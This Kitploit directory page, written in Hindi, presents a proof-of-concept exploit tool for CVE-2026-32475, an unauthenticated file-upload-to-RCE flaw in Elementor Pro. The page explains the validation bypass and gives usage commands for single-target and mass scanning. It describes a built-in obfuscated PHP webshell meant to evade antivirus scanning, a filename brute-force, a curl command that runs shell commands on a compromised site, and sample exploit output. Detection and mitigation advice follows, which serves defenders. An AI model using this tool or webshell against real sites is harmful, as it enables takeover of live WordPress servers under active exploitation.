Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-32475 — CVE-2026-32475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Elementor Pro में एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड है, जिससे रिमोट कोड एक्ज़ीक्यूशन होता है। इसमें मास स्कैनिंग, ब्रूट-फोर्स फ़ाइलनाम पुष्टिकरण, और अधिकृत परीक्षण के लिए एक अंतर्निहित अस्पष्ट (obfuscated) वेबशेल शामिल है। | Kitploit
उपकरण/GitHubGitHub/4minx/cve-2026-32475
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHub4minx/cve-2026-32475

CVE-2026-32475

रिपॉजिटरी देखें
6घं 2मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

CVE-2026-32475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Elementor Pro में एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड है, जिससे रिमोट कोड एक्ज़ीक्यूशन होता है। इसमें मास स्कैनिंग, ब्रूट-फोर्स फ़ाइलनाम पुष्टिकरण, और अधिकृत परीक्षण के लिए एक अंतर्निहित अस्पष्ट (obfuscated) वेबशेल शामिल है।

साझा करें

CVE-2026-32475 PoC: Elementor Pro में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड से RCE

Elementor Pro प्री-ऑथेंटिकेशन मनमाना फ़ाइल अपलोड जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है

CVE-2026-32475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Elementor Pro के Forms मॉड्यूल में एक गंभीर बिना प्रमाणीकरण वाला मनमाना फ़ाइल अपलोड है जो रिमोट कोड एक्ज़ीक्यूशन में समाप्त होता है। PoC एक ही अपलोड फ़ील्ड के लिए दो फ़ाइल भाग प्रस्तुत करता है — एक खाली पहली प्रविष्टि (खाली फ़ाइलनाम, UPLOAD_ERR_NO_FILE ट्रिगर करता है) उसके बाद पेलोड। validation() लूप खाली प्रविष्टि पर return के माध्यम से जल्दी बाहर निकलता है जबकि process_field() इसे continue के माध्यम से छोड़ देता है, इसलिए पेलोड की एक्सटेंशन जाँच कभी नहीं होती और यह .php एक्सटेंशन के साथ एक सार्वजनिक निर्देशिका में पहुँच जाता है। सही व्यवहार का परीक्षण करने वाले PoCs, पैचिंग के बाद वही अनुरोध, को एक्सटेंशन जाँच द्वारा हटा दिया जाना चाहिए।

नोट: यह PoC केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए है। CVE-2026-32475 का सक्रिय रूप से वास्तविक दुनिया में शोषण किया जा रहा है, और Wordfence ने 19 अगस्त के खुलासे के बाद से 190,000+ प्रयासों को अवरुद्ध किया है। किसी भी सिस्टम का परीक्षण करने से पहले सभी लागू कानूनों का पालन करना और लिखित प्राधिकरण प्राप्त करना आपकी ज़िम्मेदारी है।


भेद्यता जानकारी

  • CVE: CVE-2026-32475
  • प्रकार: CWE-434 खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड
  • CVSS 3.1: 9.0 (गंभीर, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • प्रमाणीकरण: बिना प्रमाणीकरण (प्री-ऑथ, रिमोट, कम हमला जटिलता)
  • सक्रिय शोषण: हाँ (उसी दिन हथियारीकरण; 19–23 अगस्त के बीच 190,000+ अवरुद्ध प्रयास)
  • प्रभावित सॉफ़्टवेयर: Elementor Pro (वाणिज्यिक WordPress प्लगइन), संस्करण <= 4.2.1
  • इसमें ठीक किया गया: 4.2.2 (19 अगस्त 2026 को जारी)
  • रिपोर्टकर्ता: Tin Pham (TF1T) Patchstack के माध्यम से; Austin Ginder Wordfence के माध्यम से ($15,600 इनाम)
  • खुलासा: 19 अगस्त 2026

आवश्यकताएँ

  • Python 3.8+ जिसमें requests लाइब्रेरी हो
  • लक्ष्य: Elementor Pro <= 4.2.1 वाली एक WordPress साइट और फ़ाइल अपलोड फ़ील्ड वाला एक प्रकाशित फ़ॉर्म

निर्भरताएँ स्थापित करें:

root@kitploit:~
pip install requests

उपयोग

एकल लक्ष्य

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6

निष्पादन की पुष्टि करें (uniqid() फ़ाइलनाम को ब्रूट-फ़ोर्स करें)

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3

अंतर्निहित अस्पष्ट WebShell अपलोड करें

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute

--shell एक न्यूनतम अस्पष्ट PHP वेबशेल अपलोड करता है (कीवर्ड रनटाइम पर chr()/implode/strrev के माध्यम से बनाए जाते हैं, कमांड पैरामीटर vapcom) ताकि सरल स्थिर हस्ताक्षर और डिस्क पर AV रीयल-टाइम स्कैन इसे फ़्लैग न करें। संग्रहीत फ़ाइलनाम अभी भी यादृच्छिक है (<uniqid()>.php); --brute के साथ संयोजित करें, जो ?vapcom=echo <marker> की जाँच करता है और exec confirmed: <name>.php रिपोर्ट करता है। एक बार स्थित होने पर मैन्युअल उपयोग:

root@kitploit:~
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"

बड़े पैमाने पर स्कैन

root@kitploit:~
python cve-2026-32475-poc.py -T targets.txt -o results.csv

कस्टम पेलोड

root@kitploit:~
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php

विकल्प

तर्कविवरणडिफ़ॉल्ट
-t, --targetएकल लक्ष्य URL-
-T, --targetsलक्ष्य URL वाली फ़ाइल, प्रति पंक्ति एक-
-o, --outputपरिणाम फ़ाइल (CSV: target, status, form_id, post_id, field, note)-
--timeoutअनुरोध टाइमआउट सेकंड में15
--post-idपता लगाए गए post_id को ओवरराइड करेंauto
--form-idपता लगाए गए form_id (Elementor विजेट आईडी) को ओवरराइड करेंauto
--fieldपता लगाए गए अपलोड फ़ील्ड custom_id को ओवरराइड करेंauto
--payloadकस्टम पेलोड फ़ाइल का पथ (डिफ़ॉल्ट: हानिरहित PHP टोकन फ़ाइल)benign token
--shellटोकन के बजाय अंतर्निहित अस्पष्ट PHP वेबशेल अपलोड करें (<?php ... system($_GET) ?> रनटाइम पर बनाया गया, पैरामीटर vapcom)off
--bruteसफल अपलोड के बाद, कोड निष्पादन की पुष्टि करने के लिए uniqid() फ़ाइलनाम को ब्रूट-फ़ोर्स करेंoff
--seconds-windowसर्वर Date हेडर से पहले/बाद के सेकंड ब्रूट-फ़ोर्स करने के लिए5

उदाहरण आउटपुट

root@kitploit:~
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
    response    : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
    uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'

[*] done: 1/1 vulnerable

AJAX प्रतिक्रिया पर success:true का मतलब है कि पेलोड को बिना एक्सटेंशन जाँच के स्वीकार कर लिया गया था। --brute के साथ चरण 4 (अनुमानित .php फ़ाइल पर मार्कर युक्त 200) सर्वर-साइड PHP निष्पादन की पुष्टि करता है — यानी पूर्ण RCE।

परिणाम स्थितियाँ: vulnerable | patched | unknown | error

  • vulnerable — वेब सर्वर ने "success":true लौटाया; पेलोड ने एक्सटेंशन जाँच को छोड़ दिया
  • patched — अपलोड को फ़ाइल-प्रकार त्रुटि के साथ अस्वीकार कर दिया गया (एक्सटेंशन जाँच चली)
  • unknown — HTTP सफल रहा लेकिन प्रतिक्रिया success:true नहीं थी (गलत आईडी या अप्रत्याशित स्थिति)
  • error — अनुरोध/पार्स विफलता (टाइमआउट, गैर-200, फ़ॉर्म नहीं मिला)

पेलोड व्यवहार और WebShell नोट्स

  • संग्रहीत फ़ाइलनाम हमेशा <uniqid()>.<attacker_extension> होता है — प्रस्तुत बेसनाम को हटा दिया जाता है, इसलिए डबल-एक्सटेंशन/नल-बाइट ट्रिक अप्रासंगिक हैं; केवल एक्सटेंशन जाँच मायने रखती है, और यही वह चीज़ है जो टूटती है।
  • Elementor wp-content/uploads/elementor/forms/ में एक .htaccess भेजता है जो सभी फ़ाइलों पर Content-Disposition: attachment सेट करता है। यह निष्पादन को नहीं रोकता — PHP अभी भी सर्वर-साइड चलता है और डाउनलोड की गई प्रतिक्रिया निष्पादित आउटपुट है। लैब में ब्राउज़र में शेल प्रस्तुत करने के लिए, उस .htaccess को अक्षम करें; वास्तविक दुनिया में इसे केवल कॉस्मेटिक मानें और सर्वर-स्तरीय PHP ब्लॉकिंग पर भरोसा करें।
  • uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), इसलिए नाम समय-व्युत्पन्न है (Unix सेकंड, निम्न 32 बिट, + माइक्रोसेकंड)। ब्रूट चरण सबमिट प्रतिक्रिया के Date हेडर में देखे गए सेकंड को कोष्ठकबद्ध करता है और, .php फ़ाइलों के लिए, ?vapcom=echo <marker> (या टोकन/--payload फ़ाइल के लिए ?c=) का अनुरोध करता है ताकि मार्कर-युक्त प्रतिक्रिया वास्तविक सर्वर-साइड PHP निष्पादन हो, न कि केवल फ़ाइल पढ़ना। सबसे खराब स्थिति ~1M माइक्रोसेकंड अनुमान प्रति सेकंड है, इसलिए रन को छोटा रखने के लिए --seconds-window को कस लें।

समझौते का पता लगाना / सत्यापित करना

root@kitploit:~
# PHP फ़ाइलें जो अपलोड निर्देशिका में मौजूद नहीं होनी चाहिए
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
  • फ़ॉर्म निर्देशिका के अंतर्गत किसी भी .php/.phtml/.phar/.hta फ़ाइल को समझौते के साक्ष्य के रूप में मानें।
  • /wp-content/uploads/elementor/forms/ के अंतर्गत GET और elementor_pro_forms_send_form ले जाने वाले POST के लिए एक्सेस लॉग खोजें।
  • यदि कोई शेल निष्पादित हुआ है, तो दुष्ट व्यवस्थापकों, mu-plugins, संशोधित कोर/थीम फ़ाइलों और अप्रत्याशित WP-Cron घटनाओं की तलाश करें; जगह पर सफाई करने के बजाय ज्ञात-अच्छे बैकअप को पुनर्स्थापित करना पसंद करें।

शमन

  • Elementor Pro 4.2.2 या नए में अपग्रेड करें। Elementor Pro अपडेट Elementor की अपनी सेवा द्वारा वितरित किए जाते हैं — एक समाप्त लाइसेंस अपडेट की पेशकश नहीं करेगा।
  • यदि आप तुरंत पैच नहीं कर सकते हैं, तो वेब-सर्वर परत पर अपलोड निर्देशिका के अंदर PHP निष्पादन को ब्लॉक करें (nginx location नियम या Apache <FilesMatch>)। यह स्थायी समाधान है और इस और भविष्य के अपलोड बग को "डिस्क बर्बाद" तक सीमित कर देता है।
  • प्रकाशित फ़ॉर्मों की गणना करें; स्वीकृत फ़ाइल प्रकारों को प्रतिबंधित करें; अप्रयुक्त अपलोड फ़ील्ड हटाएँ।
  • अपग्रेड करने के बाद: अपलोड निर्देशिका को स्कैन करें, व्यवस्थापक खातों की समीक्षा करें, और elementor_pro_forms_send_form क्रिया के लिए लॉग ऑडिट करें।

संदर्भ

  • Patchstack — Elementor Pro में गंभीर बिना प्रमाणीकरण फ़ाइल अपलोड से RCE
  • Wordfence — हमलावर Elementor Pro में गंभीर भेद्यता का सक्रिय रूप से शोषण कर रहे हैं
  • MagicWP — CVE-2026-32475: Elementor Pro मनमाना फ़ाइल अपलोड
  • NVD — CVE-2026-32475
  • dev.to — ऐरे सत्यापन बाईपास के माध्यम से PHP वेब शेल का सक्रिय शोषण
  • deniz.in — Elementor Pro RCE: संस्करण 4.2.2 में अनियंत्रित फ़ाइल अपलोड ठीक किए गए
टूल डाउनलोड करें